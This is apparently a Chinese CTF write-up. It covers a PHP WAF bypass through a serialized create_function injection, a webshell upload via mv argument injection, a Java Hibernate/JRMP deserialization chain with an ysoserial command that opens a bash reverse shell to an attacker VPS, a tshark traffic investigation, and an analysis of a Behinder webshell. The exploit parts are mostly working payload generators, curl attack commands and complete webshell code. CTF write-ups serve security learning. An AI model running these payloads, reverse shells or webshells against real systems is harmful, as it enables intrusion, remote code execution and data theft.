WAF 分析 (blocked_b 过滤极其严格,包括单字符: c , e , f , h , n , o , t , w 。
这意味着我们不能在 Payload 中使用:
- echo (含 e, o, h)
- cat (含 c, t)
- flag (含 f, a, g)
- system (含 e, t)
- shell_exec (含 h, e) 可用字符 : a , b , d , g , i , j , k , l , m , p , q , r , s , u , v , x , y , z 以及符号 ( , ) , ; , / , * , ? , [ , ] , < , > , ` 等。
Payload 构造 :
-
执行函数 : 我们需要一个函数来执行系统命令。 var_dump 是完美的候选者:
- 包含字符: v , a , r , _ , d , u , m , p 。
- 全部在允许列表中(注意 p 在 blocked_b 中只禁了 pa 和 php ,单独的 p 是允许的)。
- 用法: var_dump(command) 。
-
系统命令 : 利用反引号 ` 执行 shell 命令。 目标是读取 /flag 。
- 读取命令 : cat 被禁 ( c , t )。替代方案: dd 。
- dd 仅含 d ,允许。
- 文件名 : /flag 被禁 ( f )。替代方案:通配符。
- /[a-z]lag
- [ 和 ] 允许。
- a , z , l , g 允许。
-
- 允许。 最终 Payload :
- 读取命令 : cat 被禁 ( c , t )。替代方案: dd 。
}var_dump(`dd < /[a-z]lag`);/*exp
<?phpclass FLAG{ private $a; protected $b; public function __construct($a, $b) { $this->a = $a; $this->b = $b; }}
// 1. Check file details (is it a file? size?)// ls -l /[a-z]lag*$p1 = new FLAG('create_function', '}var_dump(`ls -l /[a-z]lag*`);/*');echo "Payload 1 (ls -l):\n" . urlencode(serialize($p1)) . "\n\n";
// 2. Move to web root (assuming writable)// mv /[a-z]lag* x// Then user can access /x$p2 = new FLAG('create_function', '}var_dump(`mv /[a-z]lag* x`);/*');echo "Payload 2 (mv to x):\n" . urlencode(serialize($p2)) . "\n\n";
// 3. xxd (Hex dump)// xxd /[a-z]lag*$p3 = new FLAG('create_function', '}var_dump(`xxd /[a-z]lag*`);/*');echo "Payload 3 (xxd):\n" . urlencode(serialize($p3)) . "\n\n";
// 4. xargs (Echo content)// xargs -a /[a-z]lag*$p4 = new FLAG('create_function', '}var_dump(`xargs -a /[a-z]lag*`);/*');echo "Payload 4 (xargs):\n" . urlencode(serialize($p4)) . "\n\n";mv_upload
-
代码审计: 在 index.php 中,上传的文件首先被放入临时目录 $uploadDir (/tmp/upload/)。 当用户点击“确认上传”时,服务器执行以下命令:
Terminal window exec("cd $uploadDir ; mv * $targetDir2>&1", $output, $returnCode);这里使用了 mv 。在 Linux Shell 中, 会被展开为当前目录下所有的文件名。如果文件名以 - 开头,mv 命令会将其解析为参数(Option)而不是文件名。
-
黑名单限制: 代码中有一个很长的黑名单 $blacklist,禁止上传 php, phtml, php5 等常见后缀。但是,它没有禁止 .ph 后缀。通常 .ph 文件不会被 Web 服务器解析为 PHP,但我们可以利用它作为中间跳板。
-
利用思路: 我们需要将一个包含 Webshell 的文件重命名为 .php 后缀,以便服务器解析执行。 利用 mv 命令的备份功能:
- —backup:如果目标文件已存在,则对目标文件进行备份。
- —suffix=SUFFIX:指定备份文件的后缀。
核心逻辑: 如果我们执行 mv —backup —suffix=p shell.ph /target/,且 /target/shell.ph 已经存在:
- mv 发现目标文件 /target/shell.ph 存在。
- 它会将现有的 /target/shell.ph 备份为 shell.ph + p = shell.php。
- 然后将新的 shell.ph 移动过去。 这样,我们就得到了一个名为 shell.php 的文件,其内容是之前上传的 Webshell。
复现步骤
第一步:上传 Webshell (shell.ph)
首先上传一个名为 shell.ph 的文件,内容为 PHP 马。.ph 不在黑名单中,可以正常上传并移动到存储目录。此时服务器上存在 /var/www/html/upload/shell.ph,但无法执行。
# 本地创建 shell.phecho "<?php system(\$_GET['c']); ?>" >shell.ph# 上传并确认移动curl -F "files[]=@shell.ph" -F "upload=1"http://challenge.bluesharkinfo.com:28443/curl -F "confirm_move=1" http://challenge.bluesharkinfo.com:28443/第二步:利用参数注入生成 .php 文件
再次上传 shell.ph,同时上传两个特殊文件名的空文件:—backup 和 —suffix=p。 当服务器执行 mv * 时,命令展开为: mv —backup —suffix=p shell.ph /var/www/html/upload/ (注:Shell 展开通常按字母顺序,- 排在 s 前面,所以参数会正确生效)
这将触发备份机制,将第一步上传的 shell.ph 重命名为 shell.php。
Bash# 创建空文件作为参数touch -- --backuptouch -- --suffix=p
# 同时上传三个文件:参数文件和触发碰撞的 shell.phcurl -F "files[]=@--backup" -F "files[]=@--suffix=p" -F "files[]=@shell.ph" -F"upload=1" http://challenge.bluesharkinfo.com:28443/
# 确认移动,触发命令执行curl -F "confirm_move=1" http://challenge.bluesharkinfo.com:28443/第三步:执行命令获取 Flag
现在服务器上已经生成了 shell.php,可以直接访问并执行命令。
curl "http://challenge.bluesharkinfo.com:28443/upload/shell.php?c=cat%20/flag"Regretful_Deser
1.1 逆向分析
拿到题目附件 n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar 后,我们首先使用反编译工具(如 JD-GUI 或 IDEA)查看核心代码。
在 org.example.Main$EchoHandler 类中,我们发现了处理 HTTP 请求的核心逻辑:
public void handle(HttpExchange exchange) throws IOException { Headers headers = exchange.getRequestHeaders(); String pass = headers.getFirst("Pass");
// 关键点 1: 奇怪的逻辑校验 if (!pass.equals("n1ght") && pass.hashCode() == "n1ght".hashCode()) { String echo = headers.getFirst("echo"); byte[] data = Base64.getDecoder().decode(echo);
// 关键点 2: 反序列化入口 SecurityObjectInputStream ois = new SecurityObjectInputStream(new ByteArrayInputStream(data)); ois.readObject(); }}**1.2 绕过逻辑校验 **
代码中存在一个典型的 Hash 碰撞检查:
!pass.equals("n1ght"): 字符串不能是 “n1ght”。pass.hashCode() == "n1ght".hashCode(): 字符串的 Hash 值必须等于 “n1ght” 的 Hash 值。
Java 的 String.hashCode() 算法是固定的 (s[0]*31^(n-1) + s[1]*31^(n-2) + ...)。我们编写脚本爆破出字符串 “loght”,其 Hash 值与 “n1ght” 均为 103149392,成功满足条件。
1.3 黑名单审计
代码使用了自定义的 SecurityObjectInputStream,查看其源码发现它重写了 resolveClass 方法,设置了黑名单:
String[] blacklist = new String[] { "org.apache.commons.collections", // 封禁 CC 链 "javax.management.remote.rmi.RMIConnector", "java.security", "java.rmi.MarshalledObject", ...};这意味着我们不能直接发送通用的 CommonsCollections 利用链(如 CC1, CC6 等),因为它们会被直接拦截抛出异常。
1.4 依赖分析
既然 CC 链被封,我们需要寻找其他的可用 Gadget。通过检查 Jar 包内的类文件(strings 或解压查看),我们发现项目中包含了 Hibernate 相关库 (org.hibernate.*)。
思路: Hibernate 有一条经典的利用链,可以通过 hashCode() 触发任意 Getter 方法的调用。如果我们将这个 Getter 指向一个 RMI 动态代理,就能触发远程类加载或二次反序列化。
2. 漏洞链详解
本次攻击使用了 “Hibernate + JRMP (二次反序列化)” 的组合拳。
2.1 第一阶段:触发链 (The Trigger)
目标: 在反序列化 HashMap 时,触发代码执行。
限制: 必须绕过 SecurityObjectInputStream 的黑名单。
利用链流程如下:
- 入口:
HashMap.readObject()HashMap在反序列化时,会为了恢复哈希表结构,对每个 Key 调用hashCode()方法。
- 桥梁:
TypedValue.hashCode()(Hibernate 类)- 我们将 Key 设置为
org.hibernate.engine.spi.TypedValue对象。 TypedValue包含一个Type和一个Value。它的hashCode()方法会调用value的 HashCode。
- 我们将 Key 设置为
- 反射调用:
GetterMethodImpl.get()- Hibernate 的
ComponentType在计算 Hash 时,会通过PojoComponentTuplizer获取属性值。 - 最终会调用
GetterMethodImpl.get(),该方法内部执行了method.invoke(target)。
- Hibernate 的
- RMI 触发:
RemoteObjectInvocationHandler.invoke()- 我们将
Getter的目标对象(target)设置为一个 动态代理 (Dynamic Proxy)。 - 这个代理对象封装了
UnicastRef,指向攻击者的 VPS。 - 当
Getter尝试调用代理对象的get或list方法时,代理会将其转发给RemoteObjectInvocationHandler,进而通过UnicastRef发起 JRMP 协议 的远程调用。
- 我们将
2.2 第二阶段:黑名单绕过 (The Bypass)
核心原理: 为什么这能绕过黑名单?
- Client (Target): 发送 Hibernate 对象 -> 触发 RMI 连接 -> 等待 Server 响应。
- Server (VPS): 收到连接 -> 发送恶意的
CommonsCollections序列化对象作为返回值。 - Client (Target): 接收返回值 -> 使用 Java 内部的 RMI 机制进行反序列化。
关键点: RMI 协议在接收远程方法返回值时,使用的是 Java 原生的序列化机制,并没有使用我们在 EchoHandler 中定义的那个带黑名单的 SecurityObjectInputStream。因此,在这一步,我们可以自由地发送 CommonsCollections 恶意对象,不再受黑名单限制。
2.3 RCE
- VPS 上的
JRMPListener返回一个封装了Runtime.exec("bash -i ...")的CommonsCollections对象(通常是 CC5 或 CC6,取决于 JDK 版本)。 - 目标机器接收到这个对象后,在 RMI 内部反序列化过程中触发
LazyMap或TiedMapEntry的逻辑,最终执行命令。
3. 攻击复现
3.1 生成 Payload
使用 GenPayload.java 生成第一阶段的 Hibernate Payload。这个 Payload 只是一个“引信”,它的唯一作用是让目标连接我们的 VPS。
// 核心代码:将 RMI 代理伪装成 Hibernate 的数据对象Object triggerObj = createActivatableRefProxy(vps_ip, vps_port); // RMI 代理Object hibernatePayload = makeHibernatePayload(triggerObj); // 包装进 TypedValue3.2 架设恶意服务
在 VPS (47.x.x.x) 上:
-
开启监听 (用于接收 Shell):
Terminal window nc -lvvp 2223 -
开启 JRMP Listener (用于发送真正的 CC Payload):
Terminal window # 使用 CommonsCollections5 适配 JDK 8java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 'bash -c {echo,YmFzaCAtaSAXXXXXXXXXXXXjY2LzIyMjMgMD4mMQ==}|{base64,-d}|{bash,-i}'
3.3 发送攻击请求
使用 Python 脚本发送请求,Header 设置如下:
Pass: loght(绕过 Hash 检查)echo: <Base64 Payload>(触发 Hibernate 链)
目标服务器反序列化 Header 中的 Payload -> 连接 VPS:2333 -> 下载并反序列化 CC Payload -> 执行 Bash 反弹 Shell -> VPS:2223 收到 Shell。
应急响应
hacker
- 初步分析 : 使用 tshark 查看流量包的协议层级,发现包含大量的 HTTP 流量。
tshark -r hacker的流量.pcapng -q -z io,phs- 定位关键行为 : 题目描述黑客“写入了很多的垃圾用户(注册)”,这通常对应 HTTP POST 请求。我统计了所有 POST 请求的 URI:
tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10结果显示 /register.php 被请求了 161 次,远高于其他注册相关的接口。
- 确定攻击者 IP : 针对 /register.php 接口,统计发起请求的源 IP 地址:
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn输出结果如下:
❯ tshark -r hacker的流量.pcapng -q -z io,phs
===================================================================Protocol Hierarchy StatisticsFilter:
frame frames:76119 bytes:58554161 eth frames:76119 bytes:58554161 ip frames:75260 bytes:58486439 udp frames:573 bytes:93760 dhcp frames:16 bytes:5528 ssdp frames:90 bytes:18774 dns frames:261 bytes:27739 ntp frames:42 bytes:3780 nbns frames:89 bytes:9321 nbdgm frames:13 bytes:2997 smb frames:13 bytes:2997 mailslot frames:13 bytes:2997 browser frames:13 bytes:2997 lsd frames:21 bytes:3738 xml frames:30 bytes:20842 mdns frames:5 bytes:543 llmnr frames:6 bytes:498 tcp frames:74661 bytes:58390591 mysql frames:422 bytes:57902 data frames:2 bytes:308 nbss frames:38 bytes:4193 smb frames:4 bytes:826 data frames:1 bytes:171 http frames:42660 bytes:25620392 data-text-lines frames:21267 bytes:17332273 media frames:39 bytes:171078 ocsp frames:12 bytes:8465 urlencoded-form frames:457 bytes:288747 xml frames:23 bytes:17599 mime_multipart frames:9 bytes:7490 _ws.malformed frames:5 bytes:4207 json frames:23 bytes:15836 data-text-lines frames:1 bytes:708 data frames:1 bytes:1076 png frames:42 bytes:39908 dcerpc frames:5 bytes:606 oxid frames:2 bytes:288 tls frames:1396 bytes:1766693 tls frames:957 bytes:1417103 igmp frames:14 bytes:780 icmp frames:12 bytes:1308 arp frames:781 bytes:42162 ipv6 frames:78 bytes:25560 icmpv6 frames:38 bytes:3020 udp frames:40 bytes:22540 xml frames:30 bytes:21442 mdns frames:4 bytes:480 llmnr frames:6 bytes:618===================================================================❯tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10❯ tshark -r hacker的流量.pcapng -Y "http.request.method == POST" -T fields -e http.request.uri | sort | uniq -c | sort -rn | head -n 10 161 /register.php 117 /login.php 78 /admin/settings.php 12 / 4 /xmlrpc/soapserver.php 4 /xmlrpc/soap.php 4 /xmlrpc/server.php 4 /xmlrpc.php 4 /xmlrpc.jsp 4 /xmlrpc.aspx❯tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn❯ tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\"" -T fields -e ip.src | sort | uniq -c | sort -rn 159 192.168.37.177 2 192.168.37.3tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e http.file_data | head -n 5757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d757365726e616d653d7a68616e6773616e3026656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d757365726e616d653d7a68616e6773616e3126656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733decho "757365726e616d653d7a68616e6773616e3226656d61696c3d313938383435363225343071712e636f6d2670617373776f72643d7a68616e6773616e31323326636f6e6669726d5f70617373776f72643d7a68616e6773616e313233266e616d653d7a68616e6773616e312667656e6465723d2545372539342542372662697274686461793d323032352d30342d30312669645f636172643d3130313132303031323532303133333430312670686f6e653d313939383532333634353726616464726573733d" | xxd -r -pusername=zhangsan2&email=19884562%40qq.com&password=zhangsan123&confirm_password=zhangsan123&name=zhangsan1&gender=%E7%94%B7&birthday=2025-04-01&id_card=101120012520133401&phone=19985236457&address=%tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e text | grep "username" | head -n 5
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e text | grep "username" | head -n 5Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan0",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan1",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""Timestamps,POST /register.php HTTP/1.1\\r\\n,\\r\\n,Form item: "username" = "zhangsan2",Form item: "email" = "19884562@qq.com",Form item: "password" = "zhangsan123",Form item: "confirm_password" = "zhangsan123",Form item: "name" = "zhangsan1",Form item: "gender" = "男",Form item: "birthday" = "2025-04-01",Form item: "id_card" = "101120012520133401",Form item: "phone" = "19985236457",Form item: "address" = ""方法一:查看单个数据包的详细内容
使用 -V 参数可以展示数据包的完整解码信息。在输出中找到 HTML Form URL Encoded 部分,即可看到提交的表单数据。
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -V -c 1方法二:批量提取关键文本信息
使用 -e text 可以提取 HTTP 层面的描述文本,配合 grep 过滤,能快速看到所有注册请求中的用户名信息。
tshark -r hacker的流量.pcapng -Y "http.request.method == POST && http.request.uri == \"/register.php\" && ip.src == 192.168.37.177" -T fields -e text | grep"username"执行第二条命令后,你会看到类似如下的输出,清晰地展示了批量注册的 zhangsan 系列账号:
Form item: "username" = "zhangsan47",Formitem: "email" = "..."Form item: "username" = "zhangsan48",Formitem: "email" = "..."Form item: "username" = "zhangsan49",Formitem: "email" = "..."...奇怪的shell文件
目录结构分析
首先,我们对提供的目录 \奇怪的shell文件\phpstudy_pro 进行浏览。通常,Web 根目录位于 WWW 文件夹下。 进入 \奇怪的shell文件\phpstudy_pro\WWW ,我们看到这是一个基于 EMLOG 博客系统的网站(根据 include/lib/emcurl.php 等文件头部的注释判断)。
异常文件定位
在 Web 目录中,我们重点关注通常容易被攻击者利用的目录,如上传目录 ( uploadfile )、插件目录 ( content/plugins ) 或模板目录 ( content/templates )。
通过对代码中敏感函数(如 eval , assert , system 等)的搜索,或者人工排查目录,我们在插件目录中发现了一个极具可疑性的文件:
- 路径 : \奇怪的shell文件\phpstudy_pro\WWW\content\plugins\tips\shell.php
- 可疑点 :
- 文件名 shell.php 非常直白,与正常插件文件命名风格(如 tips.php )不符。
- 位于 tips 插件目录下,该目录通常只包含功能性脚本。
样本分析
我们读取 shell.php 的源代码进行深入分析:
<?php@error_reporting(0);session_start(); $key="e45e329feb5d925b"; //该密 钥为连接密码32位md5值的前16位 $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php:// input"); if(!extension_loaded ('openssl')) { $t="base64_"."decode"; $post=$t($post."");
for($i=0;$i<strlen($post); $i++) { $post[$i] = $post [$i]^$key[$i+1& 15]; } } else { $post=openssl_decrypt ($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(), $params);?>关键特征提取
-
密钥注释 : 代码第 4 行: $key=“e45e329feb5d925b”; //该密钥为连接密码32位md5值的前16位 。 这是该工具服务端脚本最显著的特征之一,直接说明了密钥的生成方式。
-
加密通信 : 代码第 19 行: post, “AES128”, $key); 。 代码逻辑显示,它优先尝试使用 OpenSSL 扩展进行 AES128 解密。如果不支持 OpenSSL,则回退到异或(XOR)加密。这种强加密通信流量是 冰蝎 (Behinder) 的核心特性,旨在绕过 WAF 检测。
-
执行逻辑 : 代码第 24-25 行:
class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);利用 call_user_func 和魔术方法 __invoke 来动态执行解密后的 Payload,这也是为了规避静态查杀。
工具溯源
根据上述特征,特别是 AES128 加密和特定的注释说明,我们可以确定这是 冰蝎 (Behinder) 的服务端 PHP 脚本(通常对应 3.0 或更高版本)。
- 菜刀 (Chopper) : 通常是一句话木马 eval($_POST[‘cmd’]) ,流量为明文或简单的 Base64。
- 蚁剑 (AntSword) : 支持自定义编码器,但默认特征通常没有如此复杂的 AES 协商逻辑,且默认不带此类特定注释。
- 哥斯拉 (Godzilla) : 也有加密流量,但其 PHP Shell 通常包含 session_start 后对 $_SESSION 的特定操作逻辑与冰蝎不同,且通常不会有 “该密钥为连接密码…” 这样的中文注释。
- 冰蝎 (Behinder) : 默认 Shell 完美匹配上述代码结构。